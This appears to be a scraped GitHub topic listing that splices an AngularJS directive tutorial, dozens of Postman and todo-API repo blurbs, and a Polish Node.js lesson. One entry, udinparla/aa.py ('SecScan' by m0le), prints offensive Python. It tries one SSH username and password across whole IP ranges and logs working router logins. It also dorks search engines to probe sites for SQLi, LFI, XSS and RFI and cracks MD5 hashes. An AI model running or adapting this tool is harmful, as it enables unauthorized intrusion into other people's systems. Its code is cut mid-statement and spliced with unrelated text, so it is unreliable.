directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
soumyadip007/Customer-Relationship-Management-Real-time-CURD-Application-using-Spring-Rest-Json-HQL-WebServices
application, import, rest, restful, service, services, spring 		CRUD (Create, Read, Update and Delete) application is the most important application for creating any project. In spring Rest, we have developed this using Jackson,Postman and restful web services. 3 stars 3 watchers 1 forks
WebDevInfrastructure/MailingLists
development, general, import, interface, list, lists, maintained, single, standard, struct, structure, updating 		Mailing lists are an important part of the infrastructure of development of Web standards - generally PostMan is the standard, but it is maintained by a single individual and the interface/features could use some updating. 3 stars 3 watchers 1 forks
xyyxhcj/vpi
data, import, json, reference, struct, structure, test 		接口管理系统（支持JSON导入，引用数据结构，接口测试） api management with json import, reference data structure, test 0 stars 0 watchers 6 forks
smallcampus/postmgn
collection, collections, environment, environments, export, import, postman collection, postman collections, tool 		A tool that helps import and export postman collections + environments 2 stars 2 watchers 0 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
AnilDeshpande/todolistpostmancollection
collection, file, files, import, imported, json, list, service, services, test, todo 		Just contains POSTMAN collection json files which can be imported by the people who want to use this to test the web services 0 stars 0 watchers 3 forks
OliverRC/Postman-WebApi-HelpDocumentation
developer, developers, endpoint, endpoints, import, imported 		Allows developers expose their MVC WebAPI endpoints so that they can be imported into postman 0 stars 0 watchers 3 forks
GreaterMKEMeetup/spring-restdocs-postman
collection, collections, docs, extension, import, importable, portable, rest, spring 		A Spring REST Docs extension that produces importable Postman collections. 0 stars 0 watchers 2 forks
gregambrose/ApiToPostman
collection, collections, import, imported 		Takes HTTP requests and makes them into collections that can be imported into POSTMAN 1 stars 1 watchers 0 forks
teddychan/postman-collections
collection, collections, engine, import, list, test 		The list of Postman Collections, easier for engineer to import and test API. 1 stars 1 watchers 0 forks
buckle/restdocs-tool-export
docs, download, export, exports, import, imported, rest, snippet, snippets, tool 		Generates AsciiDoc snippets via Spring Restdocs that are exports for Insomnia or Postman that can be download and imported. 1 stars 1 watchers 0 forks
MayMP/NodeJsExpressMongoDB
center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit 		This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. 1 stars 1 watchers 0 forks
nuxeo-sandbox/nuxeo-swagger
convert, description, form, format, import, importable, nuxeo, portable, sandbox, script, swagger, tool, tools, type, types 		Tools to convert the Nuxeo Swagger 1.2 descriptions to an importable format for Postman and other types of tools. 1 stars 1 watchers 0 forks
stereg/inspector2postman
convert, converting, file, import, imported, output, spec, taking 		Script for taking ACI inspector output and converting it into a Google Postman Collection file that can be imported 1 stars 1 watchers 0 forks
ivastly/php2curl
command, convert, curl, data, export, import, imported, tool 		tiny lib to convert data from PHP request to CURL command. Then, CURL command can be imported into Postman with 1 click, so it is PHP to Postman export tool. 0 stars 0 watchers 1 forks
luckymarmot/Paw-PostmanImporter
import 		A Paw Extension to import Postman Collections. 0 stars 0 watchers 1 forks
brankozecevic/php_oop_rest_api
api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing 		This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. 0 stars 0 watchers 0 forks
brionmario/postman-collections
collection, collections, import, postman collection, postman collections 		A repo to house important postman collections 0 stars 0 watchers 0 forks
bdrupieski/FiddlerExportToPostman
export, extension, form, format, import, sessions 		A Fiddler extension to export sessions in a format Postman can import 0 stars 0 watchers 0 forks
cfitz1995/postman-splitter
command, export, exports, import, util, utility 		Node.js command-line utility for importing/exports individual Postman requests 0 stars 0 watchers 0 forks
CodingReaction/PostmanRedCards
action, import, package, packages, software, support, track 		A software made for additional support to Postman who needs to track important packages. 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
Hossam-PHP/PHP-Restful-Api-OOP-
api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls 		Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php 0 stars 0 watchers 0 forks
imikemiller/lumen-swagger-generators
docs, generator, generators, import, imported, library, parse, parser, swagger, wrapper 		A wrapper for the swagger-php library. Does not include swagger-ui the docs JSON can be imported into Postman or another Swagger / Open API parser 0 stars 0 watchers 0 forks
luckymarmot/Paw-PostmanEnvironmentImporter
import 		A Paw Extension to import Postman Environments. 0 stars 0 watchers 0 forks
mahmudarslan/PostmanImport
form, format, import 		ASP.NET WebApi Postman import format 0 stars 0 watchers 0 forks
MarioRuiz/import_postman
collection, import, imports, object, postman collection, test, tests 		This gem imports a postman collection to be used as RequestHash object and creates tests 0 stars 0 watchers 0 forks
nenadjeremic/todo-basic-express-mongo
example, examples, express, folder, form, function, functional, functionalities, import, imported, mongo, todo 		Basic TODO REST API using ExpressJS and MongoDB. Performs basic CRUD functionalities. Contains folder with examples of API requests that could be imported in Postman. 0 stars 0 watchers 0 forks
patrick-castro/task-manager-api
application, auth, authentication, automat, automate, automated, development, email, explore, import, mail, manager, operation, operations, package, packages, party, server, server., service, services, task, user, web app 		A task manager API that explores important features of a web application, which are CRUD operations, user authentication, automated email transmission and many more with the help of various NPM packages and third party services. In development, Postman was used to make HTTP requests to the server. 0 stars 0 watchers 0 forks
plusoftomni/postman
import 		Postman JSON project to import 0 stars 0 watchers 0 forks
povilaspanavas/PostmanProblemFixer
curl, enable, enables, expect, find, form, format, host, import, move 		Reformats text in cliboard. It expects to find there curl and move host from the end to the start. This enables Postman to import a coppied curl from Charles successfully. 0 stars 0 watchers 0 forks
prashant65018/redoc_pro
collection, docs, import, local, multiple, redoc, spec, swagger 		redoc your swagger docs with additional functioanlity of loading multiple API's with "try it feature" and directly import respective API collection in local postman app through "Run in Postman" option 0 stars 0 watchers 0 forks
rgooler/steam_to_openapi3
import, insomnia, openapi, output, tool, tools, webapi 		Converts steam's webapi output into openapi3 for easy importing into tools like postman and insomnia 0 stars 0 watchers 0 forks
sonatard/proto-to-postman
collection, command, command line, import, tool 		proto-to-postman is a command line tool to create postman API import collection from .proto. 0 stars 0 watchers 0 forks
soumyadip007/Employee-Relationship-CURD-Application-using-Spring-Boot-Thymeleaf-Hibernate-JPA-MVC
application, boot, hibernate, import, rest, restful, service, services, spring 		CRUD (Create, Read, Update and Delete) application is the most important application for creating any project. In spring Rest, we have developed this using Jackson,Postman and restful web services and along with this we have used Spring-boot ,JPA, Spring-Data-Rest and hibernate. 0 stars 0 watchers 0 forks
szonov/slim-route-export
application, export, import, play, route, routes, slim 		Display routes and postman import for Slim application 0 stars 0 watchers 0 forks
zwhitten/importers
form, format, import, importer 		Convert Postman, cURL, HAR to Insomnia format 0 stars 0 watchers 0 forks

todo (39 listings) (Back to Top)

AnilDeshpande/todolistpostmancollection
collection, file, files, import, imported, json, list, service, services, test, todo 		Just contains POSTMAN collection json files which can be imported by the people who want to use this to test the web services 0 stars 0 watchers 3 forks
hakaneroztekin/todo-app-javascript
action, java, javascript, list, script, to do, todo 		📜 Keep your fancy list of actions to do. ☕Tech stack: JavaScript, NodeJS, ExpressJS, RESTful API, MySQL, Postman, HTML, CSS and WebStorm 1 stars 1 watchers 0 forks
todor70/students
data, database, relationship, student, todo 		Spring Boot REST API with H2 database, many to many relationship, Postman and HAL Browser 1 stars 1 watchers 0 forks
madhairsilence/postmantodoc
json, todo 		Convert your POSTMAN json to Readable Documentation 0 stars 0 watchers 1 forks
7SouadJS/node-todo-api
node, todo 		Basic CRUD(Create, Read, Update, Delete) API by use of Nodejs, Mongodb, POSTMAN, ROBO3T. 0 stars 0 watchers 0 forks
AdrianMarikar/node-todo-api
node, todo 		This is a Todo REST api created using NodeJS (interact using POSTMAN). 0 stars 0 watchers 0 forks
ai-zubair/node-todo-api
express, node, todo, user 		An express-based API for a per-user todo-app experience. 0 stars 0 watchers 0 forks
AJEdelmann/todo-api
express, mongo, node, todo 		RESTfull API using node, express, mongoDB and postman 0 stars 0 watchers 0 forks
AlwarKrish/Node_TODO-Api
application, demonstrating, integrate, integrates, integration, list, lists, mongo, mongod, mongodb, rating, test, tested, todo, user, users 		A simple application that integrates todo lists with users demonstrating mongodb integration with Node.js. The application was tested using postman. 0 stars 0 watchers 0 forks
anzalafs/todo-app
description, script, todo 		No description available. 0 stars 0 watchers 0 forks
LandiJ/todos_mvc_postman
description, script, todo 		No description available. 0 stars 0 watchers 0 forks
marykayrima/Postmann_Jsonplaceholder_testing
http, https, json, place, placeholder, test, testing, todo 		https://jsonplaceholder.typicode.com/todos/ 0 stars 0 watchers 0 forks
rominamc/TesterQA-PROEM
agile, automat, document, drive, java, order, river, service, test, testing, todo, unit 		Testing manual:documentación. Metodologias agiles.Kanban.Scrum.Ambientes de testing QC/QA. Software para testing de automatización:Registro de bugs:Redmine,Jira.Regresión: Selenium web driver.Katalon recorder.Testing unitario (java):JUnit.Webservice:Postman 0 stars 0 watchers 0 forks
senenkovitalik/express-mongodb-react-redux-todolist
description, express, list, mongo, mongod, mongodb, react, redux, script, todo 		No description available. 0 stars 0 watchers 0 forks
zlatanovic-nebojsa/node-mongodb-todo-api
mongo, mongod, mongodb, node, todo 		Use postman to try API 0 stars 0 watchers 0 forks
aaronwilliams97/todo-api
course, portion, todo 		Node.JS course, todo-api portion with Postman 0 stars 0 watchers 0 forks
alsanchez-dev/todo-api-server
crypto, server, todo 		A todo server API with Auth, JWT, crypto-js no front-end but Postman 0 stars 0 watchers 0 forks
also-rc/ApiRestJava
rest, todo 		Api rest que conecta a una bd, no gui, todo desde el navegador o postman 0 stars 0 watchers 0 forks
anandk174/todo-list-api
implementation, list, node, to do, todo 		to do list implementation using node,fire-base and postman 0 stars 0 watchers 0 forks
Axelgeorggithub/API_lista_baltieri
controller, crud, ggithub, github, list, program, test, todo, util 		Usuários, categorias e produtos. Para testar utilize o programa postman, na qual o mesmo dispõe do crud(get, post, put, delete) para todos os controllers. 0 stars 0 watchers 0 forks
danielxcom/todolist_using_api_and_ajax
actor, ajax, file, helper, list, operation, operations, service, services, syntax, test, tested, todo 		Test-run of ajax syntax, todolist using RESTful web services tested with POSTMAN. Refactored REST operations in Promises + put them in helper file to make modular todos.js. Schema created using MongoDB 0 stars 0 watchers 0 forks
doctor-glitch/todo-mongodb-express-postman
express, glitch, mongo, mongod, mongodb, todo 		Backend of todo app 0 stars 0 watchers 0 forks
edgar-everis/ScreenShoot_Postman
todo 		Capturas de pantalla de todos los metodos GET,POST,PUT,DELETE en Postman 0 stars 0 watchers 0 forks
Finble/todo-api
express, heroku, node, server, server., todo 		node.js app + express server.js + heroku (using postman) 0 stars 0 watchers 0 forks
harshitbshah/node-todo-api
account, accounts, auth, authentication, node, todo, user 		A todo REST API with user accounts and authentication using MongoDB, Mongoose ODM, Mocha.js, Postman. 0 stars 0 watchers 0 forks
imar26/todo-list-cloud-computing
application, cloud, form, list, operation, operations, service, services, todo 		Developed a TODO application using Rest API, performed CRUD operations and deployed application on AWS and GCP. Also, Leveraged services like EC2, CodeDeploy, S3, DynamoDB, RDS, Route 53, Load Balancer, Lambda, CloudWatch and SNS. 0 stars 0 watchers 0 forks
nenadjeremic/todo-basic-express-mongo
example, examples, express, folder, form, function, functional, functionalities, import, imported, mongo, todo 		Basic TODO REST API using ExpressJS and MongoDB. Performs basic CRUD functionalities. Contains folder with examples of API requests that could be imported in Postman. 0 stars 0 watchers 0 forks
Oreramirez/TrabajoUnidad01-BDII
concept, endpoint, endpoints, public, studio, todo, unit, util, utilizando, visual 		TRABAJO FINAL DE UNIDAD Desarrollar una aplicación cualquiera utilizando la tecnica Mapeo Objeto Relacional (OR/M), se deben incluir al menos 05 pruebas unitarias y 05 endpoints de APIs con su correspondiente prueba con Postman Formato: Latex publicado en Github 1. PROBLEMA (Breve descripción) 2. MARCO TEORICO (referencias de conceptos de libros) 3. DESARROLLO 3.1 ANALISIS (Casos de Uso) 3.2 DISEÑO (Diagrama de Clases, Modelo Entidad Relación) 3.3 PRUEBAS (Pruebas unitarias de métodos de clases utilizados) Nota; este trabajo debe estar alineado con el proyecto en el visual studio cargado en el GIT HUB Adicionar a esto también la ruta del proyecto en Git Hub 0 stars 0 watchers 0 forks
pranav-ap/todo-api
list, lists, todo 		An Express-based API for Todo lists 0 stars 0 watchers 0 forks
pranshugarg/todo-api
account, auth, authentication, list, mongo, todo, user 		Made REST APIs wherein user can add, delete, update to-do list with user account and authentication. Technologies used: Node.js, mongoDB , postman 0 stars 0 watchers 0 forks
psjoshi20/todo
api blueprint, asyncapi, express, json schema, node, nodejs, oauth, openid, rest, restapi, sql, todo 		todo app using -psql-seq-nodejs-express-postman-restapi 29dec2019 0 stars 0 watchers 0 forks
raghavmalawat/node-todo-api
data, database, environment, node, todo 		A simple to use TODO REST-API using Node.JS, MongoDB database and Postman environment. 0 stars 0 watchers 0 forks
rdbhagat999/node-jwt-mocha-todo-rest-api
auth, authentication, chrome, endpoint, endpoints, extension, json, jsonwebtoken, node, rest, rest api, send, todo, token 		Nodejs rest api with authentication using jsonwebtoken. Use postman chrome extension to send requests to endpoints 0 stars 0 watchers 0 forks
todor70/customer2
customer, todo 		Spring Boot REST API with Embedded MongoDB and Postman 0 stars 0 watchers 0 forks
todor70/customer3
customer, data, database, todo 		Spring Boot Spring Data REST with Lombok, H2 database and Postman 0 stars 0 watchers 0 forks
todor70/earthquakes2
todo 		Spring Boot RestTemplate with Postman 0 stars 0 watchers 0 forks
treetrunkz/nodeapp
access, accessed, application, dynamic, dynamically, express, install, interface, list, module, modules, mongo, mongoose, multiple, node, nodejs, parse, parser, server, todo, tree, user, users 		This is a nodejs application. It is a todo list that can be accessed and created by multiple users. The API is accessed by Postman. The server and interface is set up to POST and GET dynamically. To populate node_modules `npm install ejs, express, mongoose, body-parser --save -g` + tsc -w 0 stars 0 watchers 0 forks
VajidMean/node-rest-api-or-todo-api
basics, mongo, mongod, mongodb, node, operation, rest, todo 		Contain basics of CRUD operation and REST-API with mongodb throughout "postman". 0 stars 0 watchers 0 forks
Victor10-m/mysql-nodejs-rest-api
api blueprint, asyncapi, json schema, mysql, node, nodejs, oauth, openid, rest, sql, todo 		Este repositorio tiene conexion a BD en mysql usa metodos get, post, put, delete desde postman 0 stars 0 watchers 0 forks

search (36 listings) (Back to Top)

sittinash/elasticsearch-postman
elastic, elasticsearch, search 		Collection of frequently-used Elasticsearch requests. 0 stars 0 watchers 27 forks
BlueTechHound/elasticsearch-postman
